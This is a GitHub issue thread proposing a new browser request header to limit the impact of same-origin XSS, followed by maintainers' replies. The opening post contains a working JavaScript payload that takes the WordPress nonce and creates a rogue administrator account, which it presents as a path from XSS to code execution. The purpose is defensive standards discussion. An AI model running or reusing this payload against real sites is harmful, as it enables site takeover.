Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Proposal: New Request Header "Originated-With: FDX" #4273

Closed
pak0s opened this issue Jan 4, 2019 · 7 comments
Closed

Proposal: New Request Header "Originated-With: FDX" #4273

pak0s opened this issue Jan 4, 2019 · 7 comments

Comments

@pak0s
Copy link

pak0s commented Jan 4, 2019

First I submitted the proposal at IETF then someone referred me to WhatWG as this is the right place to propose new ideas and make contributions to Web Standards.

So basically the idea is to limit the impact of XSS on vulnerable URL only and prevent XSS from turning into RCE in some cases i.e. Wordpress. The following header is supposed to be initiated via user agent on every FETCH, DOM or XHR request.

Originated-With: FDX

The proposed header is similar to "X-Requested-With" header which is initiated every time during an Ajax call by jQuery but it can be controlled and tampered using Javascript. While the proposed header should be a forbidden header just like Origin, Cookie etc so it doesn't get manipulated using Javascript. It will help developers identify the source of the request from where it was originated i.e. FETCH, DOM or XHR. No header means request was made simply from Http

Example

Since Wordpress is the most popular CMS around so it has been impacted a lot in terms of XSS to RCE. Wordpress is a secured CMS by itself but it is incomplete without custom scripts i.e. plugins and themes and it is very common for those custom scripts to be prone to XSS attacks. Supposedly a Wordpress site is vulnerable to any XSS i.e. Reflected, Stored or DOM. The following Javascript code given perfect conditions i.e. having administrator session will inject a new Administrator account on the CMS which can then be used to execute arbitrary server side code.

var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/user-new.php";
var wp_nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = wp_nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=config&email=w3bdrill3r@gmail.com&pass1=attackpass&pass2=attackpass&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);

Here the Javascript is making 2 calls. 1st call is to get the CSRF Token which is known as "nonce" in Wordpress and the 2nd call is using that token to inject the Administrator account.

Following is how the proposed header could have prevented this.

GET /wp-admin/user-new.php HTTP/1.1
Host: local.tld
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://local.tld/sample-page/
Connection: close
Cookie: xxx;
Pragma: no-cache
Cache-Control: no-cache
Originated-With: FDX

The following server side PHP code would have terminated the request. As a result the 1st XHR call would have failed to grab the CSRF token and thus also have prevented the malicious attempt of injecting new user.

if(isset($_SERVER['HTTP_ORIGINATED_WITH'])){wp_die();}

The above code is initially added in functions.php of current theme file of Wordpress for demonstration purposes. URLs opened using window.open() (DOM) in Javascript can also be controlled by parent window so this header should also be sent in similar DOM request.

Limitations

This idea to limit the impact of XSS will not be effective if the request is naturally supposed to be sent via FETCH, DOM or XHR. For example, the requests to /wp-admin/admin-ajax.php are sent via Ajax so this technique will not prevent XSS from making requests to /wp-admin/admin-ajax.php

Worst Case Scenario

An attacker can still open an iframe and fetch its content using Javascript and steal the CSRF token because of Same-Origin. But still the 2nd request needs to be sent to inject Administrator user and this is where the new header will prevent this. The only option left for an attacker after stealing CSRF token is Clickjacking which is still better than Auto submitting form. Requests via DOM's submit() should also initiate this header.

Why not add a new rule to prevent Javascript from fetching content of an iframe even if its Same-Origin? Because this doesn't make sense but anyways, this will be totally a separate topic.

However the X-FRAME-OPTIONS with value DENY will prevent this possibility as well.

Another possibility is that an attacker can open a child window via window.open() and crawl into it to get CSRF token but since its a DOM request so header should also get initiated.

PS: This is my 1st ever issue on Github so comments an critiques are welcomed. The header name and its value can be changed but the idea remains same.

@annevk
Copy link
Member

annevk commented Jan 4, 2019

Thanks for the proposal. I suspect https://mikewest.github.io/sec-metadata/ is what you're looking for.

@pak0s
Copy link
Author

pak0s commented Jan 4, 2019

Thanks for the proposal. I suspect https://mikewest.github.io/sec-metadata/ is what you're looking for.

I discussed with Mike after submitting IETF draft and he sent me that proposal. I read that before but Mike wasn't still convinced if there is an accurate way to limit the impact of same origin XSS. He told me about possibilities of opening iframe and child window to grab CSRF tokens but I also mentioned their counter measures in this issue.

@annevk
Copy link
Member

annevk commented Jan 4, 2019

I see, what you call a "DOM request" in your proposal doesn't cleanly map to the architecture we have today. E.g., window.open() simply navigates a browsing contexts, as does a form submission. And you could special case submit(), but that wouldn't catch a click() on the submit button.

And without a principled definition it wouldn't really be secure. Why can WordPress not use CSP?

@annevk
Copy link
Member

annevk commented Jan 4, 2019

cc @mikewest

@pak0s
Copy link
Author

pak0s commented Jan 4, 2019

Why can WordPress not use CSP?

Worpress can but those thousands of plugins and themes on which the millions websites rely, cannot. That was actually the basic idea to prevent wordpress and other CMS' core from XSS in 3rd party scripts.

window.open() simply navigates a browsing contexts, as does a form submission.

The idea is to make browser intelligent enough to initiate new header on window.open() and similar calls. Should that be not possible?

And you could special case submit(), but that wouldn't catch a click() on the submit button.

I am referring to the DOM methods only which can be used to do auto form submission. I know about submit() so far and if there are similar functions that can do auto submission, should also initiate new header.

@pak0s
Copy link
Author

pak0s commented Jan 4, 2019

Or if its harder to analyze all those DOM methods that can be use to do auto submission, an alternate reverse logic can be used to initiate new header .e.g. If form submission request wasn't made with user interaction (mouse or keyboard), initiate the header.

@annevk
Copy link
Member

annevk commented Jan 6, 2021

If you still wish to pursue this I suggest you try to formalize it in the WICG community: https://wicg.io/. It doesn't seem to have gotten traction here.

@annevk annevk closed this as completed Jan 6, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Development

No branches or pull requests

2 participants